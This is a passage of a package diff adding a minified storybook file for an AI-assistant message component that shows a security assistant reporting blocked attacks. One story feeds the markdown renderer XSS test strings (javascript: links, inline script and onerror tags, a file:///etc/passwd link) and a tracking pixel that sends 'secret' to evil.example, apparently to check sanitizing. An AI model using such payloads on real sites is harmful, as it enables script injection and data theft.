@wallarm-org/claude-design 0.0.0-stage → 4.9.0

package/dist/project/components/AssistantMessage/preview.html

@@ -0,0 +1,2 @@
+<!-- @dsCard group="AI" height=480 -->
+<!doctype html><html><head><meta charset="utf-8"></head><body><div id="preview"></div><script src="./stories.js"></script><script>window.WallarmPreview.mount(document.getElementById('preview'));</script></body></html>

package/dist/project/components/AssistantMessage/stories.js

@@ -0,0 +1,55 @@
+var e={vD(e,t,a){let r,n;/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @lightSyntaxTransform
+ * @noflow
+ * @nolint
+ * @preventMunge
+ * @preserve-invariant-messages
+ */var l,o,i=Object.create,c=Object.defineProperty,s=Object.getOwnPropertyDescriptor,d=Object.getOwnPropertyNames,m=Object.getPrototypeOf,h=Object.prototype.hasOwnProperty,u=(e,t,a,r)=>{if(t&&"object"==typeof t||"function"==typeof t)for(let n of d(t))h.call(e,n)||n===a||c(e,n,{get:()=>t[n],enumerable:!(r=s(t,n))||r.enumerable});return e},p={},f={$dispatcherGuard:()=>E,$makeReadOnly:()=>A,$reset:()=>T,$structuralCheck:()=>O,c:()=>v,clearRenderCounterRegistry:()=>N,renderCounterRegistry:()=>D,useRenderCounter:()=>$};for(var y in f)c(p,y,{get:f[y],enumerable:!0});e.exports=u(c({},"__esModule",{value:!0}),p);var b=(n=null!=(r=a("C"))?i(m(r)):{},u(r&&r.__esModule?n:c(n,"default",{value:r,enumerable:!0}),r)),{useRef:_,useEffect:w,isValidElement:S}=b,g=null!=(l=b.__CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE)?l:b.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED,k=Symbol.for("react.memo_cache_sentinel"),v="function"==typeof(null==(o=b.__COMPILER_RUNTIME)?void 0:o.c)?b.__COMPILER_RUNTIME.c:function(e){return b.useMemo(()=>{let t=Array(e);for(let a=0;a<e;a++)t[a]=k;return t[k]=!0,t},[])},R={};["readContext","useCallback","useContext","useEffect","useImperativeHandle","useInsertionEffect","useLayoutEffect","useMemo","useReducer","useRef","useState","useDebugValue","useDeferredValue","useTransition","useMutableSource","useSyncExternalStore","useId","unstable_isNewReconciler","getCacheSignal","getCacheForType","useCacheRefresh"].forEach(e=>{R[e]=()=>{throw Error(`[React] Unexpected React hook call (${e}) from a React compiled function. Check that all hooks are called directly and named according to convention ('use[A-Z]') `)}});var C=null;function M(e){return g.ReactCurrentDispatcher.current=e,g.ReactCurrentDispatcher.current}R.useMemoCache=e=>{if(null!=C)return C.useMemoCache(e);throw Error("React Compiler internal invariant violation: unexpected null dispatcher")};var W=[];function E(e){let t=g.ReactCurrentDispatcher.current;if(0===e){if(W.push(t),1===W.length&&(C=t),t===R)throw Error("[React] Unexpected call to custom hook or component from a React compiled function. Check that (1) all hooks are called directly and named according to convention ('use[A-Z]') and (2) components are returned as JSX instead of being directly invoked.");M(R)}else if(1===e){let e=W.pop();if(null==e)throw Error("React Compiler internal error: unexpected null in guard stack");0===W.length&&(C=null),M(e)}else if(2===e)W.push(t),M(C);else if(3===e){let e=W.pop();if(null==e)throw Error("React Compiler internal error: unexpected null in guard stack");M(e)}else throw Error("React Compiler internal error: unreachable block"+e)}function T(e){for(let t=0;t<e.length;t++)e[t]=k}function A(){throw Error("TODO: implement $makeReadOnly in react-compiler-runtime")}var D=new Map;function N(){for(let e of D.values())e.forEach(e=>{e.count=0})}function $(e){let t=_(null);null!=t.current&&(t.current.count+=1),w(()=>{if(null==t.current){let a,r={count:0};null==(a=D.get(e))&&(a=new Set,D.set(e,a)),a.add(r),t.current=r}return()=>{var a;let r;null!==t.current&&(a=t.current,null!=(r=D.get(e))&&r.delete(a))}})}var x=new Set;function O(e,t,a,r,n,l){function o(e,t,o,i){let c=`${r}:${l} [${n}] ${a}${o} changed from ${e} to ${t} at depth ${i}`;x.has(c)||(x.add(c),console.error(c))}!function e(t,a,r,n){if(!(n>2)){if(t!==a)if(typeof t!=typeof a)o(`type ${typeof t}`,`type ${typeof a}`,r,n);else if("object"==typeof t){let l=Array.isArray(t),i=Array.isArray(a);if(null===t&&null!==a)o("null",`type ${typeof a}`,r,n);else if(null===a)o(`type ${typeof t}`,"null",r,n);else if(t instanceof Map)if(a instanceof Map)if(t.size!==a.size)o(`Map instance with size ${t.size}`,`Map instance with size ${a.size}`,r,n);else for(let[l,i]of t)a.has(l)?e(i,a.get(l),`${r}.get(${l})`,n+1):o(`Map instance with key ${l}`,`Map instance without key ${l}`,r,n);else o("Map instance","other value",r,n);else if(a instanceof Map)o("other value","Map instance",r,n);else if(t instanceof Set)if(a instanceof Set)if(t.size!==a.size)o(`Set instance with size ${t.size}`,`Set instance with size ${a.size}`,r,n);else for(let e of a)t.has(e)||o(`Set instance without element ${e}`,`Set instance with element ${e}`,r,n);else o("Set instance","other value",r,n);else if(a instanceof Set)o("other value","Set instance",r,n);else if(l||i)if(l!==i)o(`type ${l?"array":"object"}`,`type ${i?"array":"object"}`,r,n);else if(t.length!==a.length)o(`array with length ${t.length}`,`array with length ${a.length}`,r,n);else for(let l=0;l<t.length;l++)e(t[l],a[l],`${r}[${l}]`,n+1);else if(S(t)||S(a))S(t)!==S(a)?o(`type ${S(t)?"React element":"object"}`,`type ${S(a)?"React element":"object"}`,r,n):t.type!==a.type?o(`React element of type ${t.type}`,`React element of type ${a.type}`,r,n):e(t.props,a.props,`[props of ${r}]`,n+1);else{for(let e in a)e in t||o(`object without key ${e}`,`object with key ${e}`,r,n);for(let l in t)l in a?e(t[l],a[l],`${r}.${l}`,n+1):o(`object with key ${l}`,`object without key ${l}`,r,n)}}else{if("function"==typeof t)return;isNaN(t)||isNaN(a)?isNaN(t)!==isNaN(a)&&o(`${isNaN(t)?"NaN":"non-NaN value"}`,`${isNaN(a)?"NaN":"non-NaN value"}`,r,n):t!==a&&o(t,a,r,n)}}}(e,t,"",0)}},p(e,t,a){let r=new WeakMap,n=new WeakMap;function l(e,t,a){let l=t,o=a;if("object"==typeof l&&null!==l&&"$$typeof"in l&&l.$$typeof===Symbol.for("react.context")&&"Provider"in l&&(l=l.Provider),"function"==typeof l&&null!=o.ref&&!l.prototype?.isReactComponent){let t=l,a=r.get(e);a||(a=new WeakMap,r.set(e,a));let n=a.get(t);n||((n=e.forwardRef((e,a)=>t({...e,ref:a}))).displayName=t.displayName??t.name,a.set(t,n)),l=n}if("string"==typeof l&&"boolean"==typeof o.inert&&((o={...o}).inert?o.inert="":delete o.inert),"string"==typeof l)for(let[e,t]of[["fill-rule","fillRule"],["clip-rule","clipRule"]])e in o&&(o={...o,[t]:o[e]},delete o[e]);return"string"==typeof l&&null!=o.ref&&(l=function(e,t){let a=n.get(e);a||(a=new Map,n.set(e,a));let r=a.get(t);if(r)return r;let l=e.forwardRef((a,r)=>{let n=e.useRef(null);if(!n.current||n.current.original!==r){let e;n.current={original:r,callback:t=>{if(null==t&&e){let t=e;e=void 0,t();return}if("function"==typeof r){let a=r(t);e="function"==typeof a?a:void 0}else r&&(r.current=t)}}}return e.createElement(t,{...a,ref:n.current.callback})});return l.displayName=`CanvasHost(${t})`,a.set(t,l),l}(e,l)),{type:l,props:o}}function o(e){let t=(t,a,r)=>{let n=l(e,t,a??{});return e.createElement(n.type,void 0===r?n.props:{...n.props,key:r})};return{jsx:t,jsxs:(t,a,r)=>{let n=l(e,t,a??{}),{children:o,...i}=n.props;return e.createElement(n.type,void 0===r?i:{...i,key:r},...Array.isArray(o)?o:[o])},jsxDEV:t,Fragment:e.Fragment}}function i(e){return{...e,createElement:(t,a,...r)=>{let n=l(e,t,a??{});return e.createElement(n.type,n.props,...r)},cloneElement:(t,a,...r)=>{let n=e.cloneElement(t,a??void 0,...r),o=n.ref,i=l(e,n.type,{...n.props,ref:o});return i.type===n.type&&"string"!=typeof n.type?n:e.createElement(i.type,{...i.props,key:n.key})}}}a.d(t,{MA:()=>o,YJ:()=>i})},C(e,t,a){a.r(t);let r=(0,a("p").YJ)(window.React),{Children:n,Component:l,Fragment:o,Profiler:i,PureComponent:c,StrictMode:s,Suspense:d,__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED:m,act:h,cloneElement:u,createContext:p,createElement:f,createFactory:y,createRef:b,forwardRef:_,isValidElement:w,lazy:S,memo:g,startTransition:k,unstable_act:v,useCallback:R,useContext:C,useDebugValue:M,useDeferredValue:W,useEffect:E,useId:T,useImperativeHandle:A,useInsertionEffect:D,useLayoutEffect:N,useMemo:$,useReducer:x,useRef:O,useState:j,useSyncExternalStore:L,useTransition:I,version:z,use:P}=r;a.d(t,{},{Children:n,Component:l,Fragment:o,Profiler:i,PureComponent:c,StrictMode:s,Suspense:d,__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED:m,act:h,cloneElement:u,createContext:p,createElement:f,createFactory:y,createRef:b,default:r,forwardRef:_,isValidElement:w,lazy:S,memo:g,startTransition:k,unstable_act:v,use:P,useCallback:R,useContext:C,useDebugValue:M,useDeferredValue:W,useEffect:E,useId:T,useImperativeHandle:A,useInsertionEffect:D,useLayoutEffect:N,useMemo:$,useReducer:x,useRef:O,useState:j,useSyncExternalStore:L,useTransition:I,version:z})}},t={};function a(r){var n=t[r];if(void 0!==n)return n.exports;var l=t[r]={exports:{}};return e[r](l,l.exports,a),l.exports}a.d=(e,t,r)=>{var n=(t,r)=>{for(var n in t)a.o(t,n)&&!a.o(e,n)&&Object.defineProperty(e,n,{enumerable:!0,[r]:t[n]})};n(t,"get"),n(r,"value")},a.o=(e,t)=>Object.prototype.hasOwnProperty.call(e,t),a.r=e=>{"u">typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},(()=>{let{jsx:e,jsxs:t,jsxDEV:r,Fragment:n}=(0,a("p").MA)(window.React);var l=a("vD"),o=a("C");let i=`## Attacks on \`/api/login\`
+
+Found **3 attacks** in the last 24 hours, all *blocked*. The top source is \`203.0.113.7\` &amp; friends.
+
+| IP | Type | Hits |
+|:---|:----:|-----:|
+| 203.0.113.7 | sqli | 120 |
+| 198.51.100.4 | xss | 9 |
+| 192.0.2.10 | brute | 5 |
+
+1. Check the rule:
+   - \`rule_id: 1042\`
+   - mode ~~monitoring~~ blocking
+2. Add a rule:
+
+\`\`\`json
+{
+  "action": "block",
+  "ip": "203.0.113.7",
+  "ttl": 3600
+}
+\`\`\`
+
+> Rules apply within 1 minute.
+
+- [x] Denylisted
+- [ ] Notified
+
+---
+
+See [Wallarm docs](https://docs.wallarm.com/admin-en/configure-parameters-en/) or <https://console.wallarm.com>.`,c=`The user asks why \`/api/login\` gets so many hits.
+
+#### Plan
+
+- Group the blocked requests by source IP.
+- Check whether \`203.0.113.0/24\` is already denylisted.
+
+The rule \`rule_id: 1042\` is in monitoring mode, so nothing is blocked yet. See [the rule](https://my.wallarm.com/rules/1042).`,s=`Click [here](javascript:alert(1)) or [there](JaVaScRiPt:alert(1)) or [data](data:text/html,<script>alert(1)<\/script>).
+
+<script>alert(1)<\/script>
+
+Inline <img src=x onerror=alert(1)> and a pixel ![pixel](https://evil.example/p.gif?q=secret).
+
+[entity](javascript&colon;alert(1)) <javascript:alert(1)> [file](file:///etc/passwd) <a href="javascript:alert(1)">raw</a>`,d=window.WallarmDS.Icons.Brain,m=window.WallarmDS.Icons.Database,h=window.WallarmDS.Icons.Ellipsis,u=window.WallarmDS.Icons.RefreshCcw,p=window.WallarmDS.Icons.Search,f=window.WallarmDS.Icons.ThumbsDown,y=window.WallarmDS.Icons.ThumbsUp,b=window.WallarmDS.ApprovalCard,_=window.WallarmDS.ApprovalCardActions,w=window.WallarmDS.ApprovalCardContent,S=window.WallarmDS.Button,g=window.WallarmDS.ChainOfThought,k=window.WallarmDS.ChainOfThoughtStep,v=window.WallarmDS.CodeSnippetAdapterProvider,R=window.WallarmDS.InlineCodeSnippet,C=window.WallarmDS.loadPrismAdapter,M=window.WallarmDS.Copyable,W=window.WallarmDS.CopyableIcon,E=window.WallarmDS.DropdownMenu,T=window.WallarmDS.DropdownMenuContent,A=window.WallarmDS.DropdownMenuItem,D=window.WallarmDS.DropdownMenuTrigger,N=window.WallarmDS.MessageAction,$=window.WallarmDS.MessageActions,x=window.WallarmDS.MessageTimestamp,O=window.WallarmDS.AssistantMessage,j=window.WallarmDS.AssistantMessageContent,L=window.WallarmDS.AssistantMessageError,I=window.WallarmDS.AssistantMessageLoader,z=window.WallarmDS.AssistantMessageMarkdown,P=window.WallarmDS.AssistantMessageMarkdownLink,U={title:"AI/AssistantMessage",component:O,subcomponents:{AssistantMessageContent:j,AssistantMessageLoader:I,AssistantMessageError:L,AssistantMessageMarkdown:z},parameters:{layout:"centered",docs:{description:{component:'A message from Wally: an `<article>` named "Wally" that left-aligns the answer and whatever led up to it. Stack its parts in this order — an optional `ChainOfThought` with the reasoning and tool calls, an optional `ApprovalCard`, the `AssistantMessageContent`, then a `MessageActions` row; the message spaces them 12px and 4px apart and lines the action icons up with the text. `AssistantMessageContent` spaces and styles markdown blocks; put `AssistantMessageMarkdown` inside it (WallyAssistant\'s default) or your own renderer\'s output. `AssistantMessageMarkdown` renders untrusted GFM as DS elements — no raw HTML, http/https/mailto/relative links only, images as alt text — and is streaming-safe: pass the whole text so far with `streaming` and it repairs only the unfinished tail. Set `aria-busy` on the message while the answer streams; before the first output, show only an `AssistantMessageLoader` "Working..." row, and if the answer fails, an `AssistantMessageError` after the content with your own Retry button in `action`.'}}},decorators:[t=>e("div",{className:"w-420",children:e(t,{})})]},Q="Blocked 1,204 SQL injection attempts on /api/login in the last 24 hours.",q={a:t=>e(P,{...t,"data-analytics-id":"wally.answer.link"}),img:({src:t,alt:a})=>new URL(t,window.location.href).origin===window.location.origin?e("img",{src:t,alt:a,className:"size-32"}):a},B=[{name:"AnswerProse",story:()=>{let a,r,n,o=(0,l.c)(3);return o[0]===Symbol.for("react.memo_cache_sentinel")?(a=e("h3",{children:"Blocked attacks, last 24 hours"}),o[0]=a):a=o[0],o[1]===Symbol.for("react.memo_cache_sentinel")?(r=t("p",{children:["Wallarm blocked 1,204 SQL injection attempts, almost all against"," ",e(R,{code:"/api/login",size:"sm"}),"."]}),o[1]=r):r=o[1],o[2]===Symbol.for("react.memo_cache_sentinel")?(n=e(O,{"data-testid":"prose",children:t(j,{children:[a,r,t("ul",{children:[t("li",{children:["Most came from ",e(R,{code:"203.0.113.0/24",size:"sm"}),"."]}),e("li",{children:"The peak was at 03:00 UTC."}),e("li",{children:"No request reached the application."})]}),e("p",{children:"Want me to add a rule that denies the whole subnet?"})]})}),o[2]=n):n=o[2],n},meta:U},{name:"WithReasoning",story:()=>{let a,r,n,o,i,c,s,h,u,f,y,b,_,w,S=(0,l.c)(14);return S[0]===Symbol.for("react.memo_cache_sentinel")?(a=e(d,{}),S[0]=a):a=S[0],S[1]===Symbol.for("react.memo_cache_sentinel")?(r=e(k,{icon:a,label:"Thought for 5s",children:e("p",{children:"The user wants blocked attacks for a day. Query the events, then group them by path."})}),S[1]=r):r=S[1],S[2]===Symbol.for("react.memo_cache_sentinel")?(n=e(k,{icon:e(p,{}),label:"Searched for blocked requests"}),S[2]=n):n=S[2],S[3]===Symbol.for("react.memo_cache_sentinel")?(o=t(g,{children:[r,n,e(k,{icon:e(m,{}),label:"Queried attack events"})]}),S[3]=o):o=S[3],S[4]===Symbol.for("react.memo_cache_sentinel")?(i=e("h3",{children:"Blocked attacks, last 24 hours"}),S[4]=i):i=S[4],S[5]===Symbol.for("react.memo_cache_sentinel")?(c=t("p",{children:["Wallarm blocked 1,204 SQL injection attempts, almost all against"," ",e(R,{code:"/api/login",size:"sm"}),"."]}),S[5]=c):c=S[5],S[6]===Symbol.for("react.memo_cache_sentinel")?(s=t(O,{"data-testid":"collapsed",children:[o,t(j,{children:[i,c,t("ul",{children:[t("li",{children:["Most came from ",e(R,{code:"203.0.113.0/24",size:"sm"}),"."]}),e("li",{children:"The peak was at 03:00 UTC."}),e("li",{children:"No request reached the application."})]}),e("p",{children:"Want me to add a rule that denies the whole subnet?"})]})]}),S[6]=s):s=S[6],S[7]===Symbol.for("react.memo_cache_sentinel")?(h=e(d,{}),S[7]=h):h=S[7],S[8]===Symbol.for("react.memo_cache_sentinel")?(u=e(k,{icon:h,label:"Thought for 5s",defaultOpen:!0,children:e("p",{children:"The user wants blocked attacks for a day. Query the events, then group them by path."})}),S[8]=u):u=S[8],S[9]===Symbol.for("react.memo_cache_sentinel")?(f=e(k,{icon:e(p,{}),label:"Searched for blocked requests"}),S[9]=f):f=S[9],S[10]===Symbol.for("react.memo_cache_sentinel")?(y=t(g,{children:[u,f,e(k,{icon:e(m,{}),label:"Queried attack events"})]}),S[10]=y):y=S[10],S[11]===Symbol.for("react.memo_cache_sentinel")?(b=e("h3",{children:"Blocked attacks, last 24 hours"}),S[11]=b):b=S[11],S[12]===Symbol.for("react.memo_cache_sentinel")?(_=t("p",{children:["Wallarm blocked 1,204 SQL injection attempts, almost all against"," ",e(R,{code:"/api/login",size:"sm"}),"."]}),S[12]=_):_=S[12],S[13]===Symbol.for("react.memo_cache_sentinel")?(w=t("div",{className:"flex flex-col gap-24",children:[s,t(O,{"data-testid":"expanded",children:[y,t(j,{children:[b,_,t("ul",{children:[t("li",{children:["Most came from ",e(R,{code:"203.0.113.0/24",size:"sm"}),"."]}),e("li",{children:"The peak was at 03:00 UTC."}),e("li",{children:"No request reached the application."})]}),e("p",{children:"Want me to add a rule that denies the whole subnet?"})]})]})]}),S[13]=w):w=S[13],w},meta:U},{name:"WithActionsVisible",story:()=>{let a,r,n,o,i,c,s,u,b,_,w,S,v=(0,l.c)(12);return v[0]===Symbol.for("react.memo_cache_sentinel")?(a=e(d,{}),v[0]=a):a=v[0],v[1]===Symbol.for("react.memo_cache_sentinel")?(r=e(k,{icon:a,label:"Thought for 5s",children:e("p",{children:"The user wants blocked attacks for a day. Query the events, then group them by path."})}),v[1]=r):r=v[1],v[2]===Symbol.for("react.memo_cache_sentinel")?(n=e(k,{icon:e(p,{}),label:"Searched for blocked requests"}),v[2]=n):n=v[2],v[3]===Symbol.for("react.memo_cache_sentinel")?(o=t(g,{children:[r,n,e(k,{icon:e(m,{}),label:"Queried attack events"})]}),v[3]=o):o=v[3],v[4]===Symbol.for("react.memo_cache_sentinel")?(i=e("h3",{children:"Blocked attacks, last 24 hours"}),v[4]=i):i=v[4],v[5]===Symbol.for("react.memo_cache_sentinel")?(c=t("p",{children:["Wallarm blocked 1,204 SQL injection attempts, almost all against"," ",e(R,{code:"/api/login",size:"sm"}),"."]}),v[5]=c):c=v[5],v[6]===Symbol.for("react.memo_cache_sentinel")?(s=t(j,{children:[i,c,t("ul",{children:[t("li",{children:["Most came from ",e(R,{code:"203.0.113.0/24",size:"sm"}),"."]}),e("li",{children:"The peak was at 03:00 UTC."}),e("li",{children:"No request reached the application."})]}),e("p",{children:"Want me to add a rule that denies the whole subnet?"})]}),v[6]=s):s=v[6],v[7]===Symbol.for("react.memo_cache_sentinel")?(u=e(M,{text:Q,children:e(N,{"aria-label":"Copy",children:e(W,{})})}),v[7]=u):u=v[7],v[8]===Symbol.for("react.memo_cache_sentinel")?(b=e(N,{"aria-label":"Good response",children:e(y,{})}),v[8]=b):b=v[8],v[9]===Symbol.for("react.memo_cache_sentinel")?(_=e(N,{"aria-label":"Bad response",children:e(f,{})}),v[9]=_):_=v[9],v[10]===Symbol.for("react.memo_cache_sentinel")?(w=e(D,{asChild:!0,children:e(N,{"aria-label":"More actions",children:e(h,{})})}),v[10]=w):w=v[10],v[11]===Symbol.for("react.memo_cache_sentinel")?(S=t(O,{"data-testid":"with-actions",children:[o,s,t($,{visible:!0,children:[u,b,_,t(E,{children:[w,t(T,{children:[e(A,{children:"Regenerate"}),e(A,{children:"Report a problem"})]})]}),e(x,{dateTime:"2026-10-21T09:42:00Z",children:"1m ago"})]})]}),v[11]=S):S=v[11],S},meta:U},{name:"WithApproval",story:()=>{let a,r,n,o,i,c,s,u,v,C,L,I,z,P,U=(0,l.c)(14);return U[0]===Symbol.for("react.memo_cache_sentinel")?(a=e(d,{}),U[0]=a):a=U[0],U[1]===Symbol.for("react.memo_cache_sentinel")?(r=e(k,{icon:a,label:"Thought for 5s",children:e("p",{children:"The user wants blocked attacks for a day. Query the events, then group them by path."})}),U[1]=r):r=U[1],U[2]===Symbol.for("react.memo_cache_sentinel")?(n=e(k,{icon:e(p,{}),label:"Searched for blocked requests"}),U[2]=n):n=U[2],U[3]===Symbol.for("react.memo_cache_sentinel")?(o=t(g,{children:[r,n,e(k,{icon:e(m,{}),label:"Queried attack events"})]}),U[3]=o):o=U[3],U[4]===Symbol.for("react.memo_cache_sentinel")?(i=e(w,{children:"Add 203.0.113.0/24 to the denylist on all applications"}),U[4]=i):i=U[4],U[5]===Symbol.for("react.memo_cache_sentinel")?(c=t(b,{children:[i,t(_,{children:[e(S,{children:"Allow"}),e(S,{variant:"secondary",color:"neutral",children:"Reject"})]})]}),U[5]=c):c=U[5],U[6]===Symbol.for("react.memo_cache_sentinel")?(s=e("h3",{children:"Blocked attacks, last 24 hours"}),U[6]=s):s=U[6],U[7]===Symbol.for("react.memo_cache_sentinel")?(u=t("p",{children:["Wallarm blocked 1,204 SQL injection attempts, almost all against"," ",e(R,{code:"/api/login",size:"sm"}),"."]}),U[7]=u):u=U[7],U[8]===Symbol.for("react.memo_cache_sentinel")?(v=t(j,{children:[s,u,t("ul",{children:[t("li",{children:["Most came from ",e(R,{code:"203.0.113.0/24",size:"sm"}),"."]}),e("li",{children:"The peak was at 03:00 UTC."}),e("li",{children:"No request reached the application."})]}),e("p",{children:"Want me to add a rule that denies the whole subnet?"})]}),U[8]=v):v=U[8],U[9]===Symbol.for("react.memo_cache_sentinel")?(C=e(M,{text:Q,children:e(N,{"aria-label":"Copy",children:e(W,{})})}),U[9]=C):C=U[9],U[10]===Symbol.for("react.memo_cache_sentinel")?(L=e(N,{"aria-label":"Good response",children:e(y,{})}),U[10]=L):L=U[10],U[11]===Symbol.for("react.memo_cache_sentinel")?(I=e(N,{"aria-label":"Bad response",children:e(f,{})}),U[11]=I):I=U[11],U[12]===Symbol.for("react.memo_cache_sentinel")?(z=e(D,{asChild:!0,children:e(N,{"aria-label":"More actions",children:e(h,{})})}),U[12]=z):z=U[12],U[13]===Symbol.for("react.memo_cache_sentinel")?(P=t(O,{"data-testid":"with-approval",children:[o,c,v,t($,{visible:!0,children:[C,L,I,t(E,{children:[z,t(T,{children:[e(A,{children:"Regenerate"}),e(A,{children:"Report a problem"})]})]}),e(x,{dateTime:"2026-10-21T09:42:00Z",children:"1m ago"})]})]}),U[13]=P):P=U[13],P},meta:U},{name:"WithActionsOnHover",story:()=>{let a,r,n,o,i,c,s,d,m=(0,l.c)(8);return m[0]===Symbol.for("react.memo_cache_sentinel")?(a=e("h3",{children:"Blocked attacks, last 24 hours"}),m[0]=a):a=m[0],m[1]===Symbol.for("react.memo_cache_sentinel")?(r=t("p",{children:["Wallarm blocked 1,204 SQL injection attempts, almost all against"," ",e(R,{code:"/api/login",size:"sm"}),"."]}),m[1]=r):r=m[1],m[2]===Symbol.for("react.memo_cache_sentinel")?(n=t(j,{children:[a,r,t("ul",{children:[t("li",{children:["Most came from ",e(R,{code:"203.0.113.0/24",size:"sm"}),"."]}),e("li",{children:"The peak was at 03:00 UTC."}),e("li",{children:"No request reached the application."})]}),e("p",{children:"Want me to add a rule that denies the whole subnet?"})]}),m[2]=n):n=m[2],m[3]===Symbol.for("react.memo_cache_sentinel")?(o=e(M,{text:Q,children:e(N,{"aria-label":"Copy",children:e(W,{})})}),m[3]=o):o=m[3],m[4]===Symbol.for("react.memo_cache_sentinel")?(i=e(N,{"aria-label":"Good response",children:e(y,{})}),m[4]=i):i=m[4],m[5]===Symbol.for("react.memo_cache_sentinel")?(c=e(N,{"aria-label":"Bad response",children:e(f,{})}),m[5]=c):c=m[5],m[6]===Symbol.for("react.memo_cache_sentinel")?(s=e(D,{asChild:!0,children:e(N,{"aria-label":"More actions",children:e(h,{})})}),m[6]=s):s=m[6],m[7]===Symbol.for("react.memo_cache_sentinel")?(d=t(O,{"data-testid":"hover-actions",children:[n,t($,{children:[o,i,c,t(E,{children:[s,t(T,{children:[e(A,{children:"Regenerate"}),e(A,{children:"Report a problem"})]})]}),e(x,{dateTime:"2026-10-21T09:42:00Z",children:"1m ago"})]})]}),m[7]=d):d=m[7],d},meta:U},{name:"Streaming",story:()=>{let a,r,n,o=(0,l.c)(3);return o[0]===Symbol.for("react.memo_cache_sentinel")?(a=e(k,{icon:e(p,{}),label:"Searched for blocked requests"}),o[0]=a):a=o[0],o[1]===Symbol.for("react.memo_cache_sentinel")?(r=t(g,{children:[a,e(k,{icon:e(m,{}),label:"Querying attack events...",status:"running"})]}),o[1]=r):r=o[1],o[2]===Symbol.for("react.memo_cache_sentinel")?(n=t(O,{"data-testid":"streaming","aria-busy":!0,children:[r,e(j,{children:e("p",{children:"Wallarm blocked 1,204 SQL injection attempts, almost all against"})})]}),o[2]=n):n=o[2],n},meta:U},{name:"Loading",story:()=>{let t,a=(0,l.c)(1);return a[0]===Symbol.for("react.memo_cache_sentinel")?(t=e(O,{"data-testid":"loading","aria-busy":!0,children:e(I,{})}),a[0]=t):t=a[0],t},meta:U},{name:"ErrorState",story:()=>{let a,r,n=(0,l.c)(2);return n[0]===Symbol.for("react.memo_cache_sentinel")?(a=e(j,{children:e("p",{children:"Wallarm blocked 1,204 SQL injection attempts, almost all against"})}),n[0]=a):a=n[0],n[1]===Symbol.for("react.memo_cache_sentinel")?(r=t(O,{"data-testid":"error",children:[a,e(L,{action:t(S,{variant:"ghost",color:"neutral",size:"small","data-testid":"error--error--retry","data-analytics-id":"WALLY_ANSWER_RETRY",children:[e(u,{}),"Retry"]}),children:"The connection was lost before the answer finished."})]}),n[1]=r):r=n[1],r},meta:U},{name:"Analytics",story:()=>{let a,r,n=(0,l.c)(2);return n[0]===Symbol.for("react.memo_cache_sentinel")?(a=e(j,{"data-analytics-id":"WALLY_ANSWER_CONTENT",children:e("p",{children:Q})}),n[0]=a):a=n[0],n[1]===Symbol.for("react.memo_cache_sentinel")?(r=t(O,{"data-testid":"analytics","data-analytics-id":"WALLY_ANSWER",children:[a,e($,{visible:!0,children:e(M,{text:Q,children:e(N,{"aria-label":"Copy","data-analytics-id":"WALLY_ANSWER_COPY",children:e(W,{})})})})]}),n[1]=r):r=n[1],r},meta:U},{name:"Markdown",story:()=>{let t,a=(0,l.c)(1);return a[0]===Symbol.for("react.memo_cache_sentinel")?(t=e(v,{adapter:C,children:e(O,{"data-testid":"markdown",children:e(j,{children:e(z,{text:i})})})}),a[0]=t):t=a[0],t},meta:U},{name:"MarkdownStreaming",story:()=>{let a,r,n,c,s,d,m,h,p,f=(0,l.c)(18),[y,b]=(0,o.useState)(0),_=y<i.length;f[0]!==y?(a=()=>{if(y>=i.length)return;let e=setTimeout(()=>b(Math.min(y+6,i.length)),40);return()=>clearTimeout(e)},r=[y],f[0]=y,f[1]=a,f[2]=r):(a=f[1],r=f[2]),(0,o.useEffect)(a,r),f[3]===Symbol.for("react.memo_cache_sentinel")?(n=()=>{b(0)},f[3]=n):n=f[3];let w=n;return f[4]!==y?(c=i.slice(0,y),f[4]=y,f[5]=c):c=f[5],f[6]!==_||f[7]!==c?(s=e(j,{children:e(z,{text:c,streaming:_})}),f[6]=_,f[7]=c,f[8]=s):s=f[8],f[9]!==_||f[10]!==s?(d=e(v,{adapter:C,children:e(O,{"data-testid":"markdown-streaming","aria-busy":_,children:s})}),f[9]=_,f[10]=s,f[11]=d):d=f[11],f[12]===Symbol.for("react.memo_cache_sentinel")?(m=e(u,{}),f[12]=m):m=f[12],f[13]!==_?(h=t(S,{variant:"outline",color:"neutral",size:"small",disabled:_,"data-testid":"markdown-streaming--replay",onClick:w,children:[m,"Replay"]}),f[13]=_,f[14]=h):h=f[14],f[15]!==d||f[16]!==h?(p=t("div",{className:"flex flex-col items-start gap-16",children:[d,h]}),f[15]=d,f[16]=h,f[17]=p):p=f[17],p},meta:U},{name:"MarkdownInChainOfThought",story:()=>{let t,a,r=(0,l.c)(2);return r[0]===Symbol.for("react.memo_cache_sentinel")?(t=e(d,{}),r[0]=t):t=r[0],r[1]===Symbol.for("react.memo_cache_sentinel")?(a=e(O,{"data-testid":"cot-markdown",children:e(g,{children:e(k,{label:"Thought for 5s",icon:t,defaultOpen:!0,children:e(z,{variant:"chain-of-thought",text:c})})})}),r[1]=a):a=r[1],a},meta:U},{name:"MarkdownUnsafeContent",story:()=>{let t,a=(0,l.c)(1);return a[0]===Symbol.for("react.memo_cache_sentinel")?(t=e(O,{"data-testid":"unsafe-markdown",children:e(j,{children:e(z,{text:s})})}),a[0]=t):t=a[0],t},meta:U},{name:"MarkdownCustomElements",story:()=>{let t,a=(0,l.c)(1);return a[0]===Symbol.for("react.memo_cache_sentinel")?(t=e(O,{"data-testid":"custom-markdown",children:e(j,{children:e(z,{components:q,text:"Read the [rule guide](https://docs.wallarm.com/user-guides/rules/) first.\n\n![Wallarm logo](./favicon.svg)\n\n![tracker](https://evil.example/p.gif)"})})}),a[0]=t):t=a[0],t},meta:U}];function Y({entry:e}){let{story:t,meta:a}=e,r={...a.args,...t.args},n="function"==typeof t||t.$$typeof?t:t.render||a.render||a.component,l=()=>o.default.createElement(n,r),i={args:r,globals:{theme:"light"},parameters:{...a.parameters,...t.parameters},viewMode:"story"};for(let e of[...a.decorators||[],...t.decorators||[]].reverse()){let 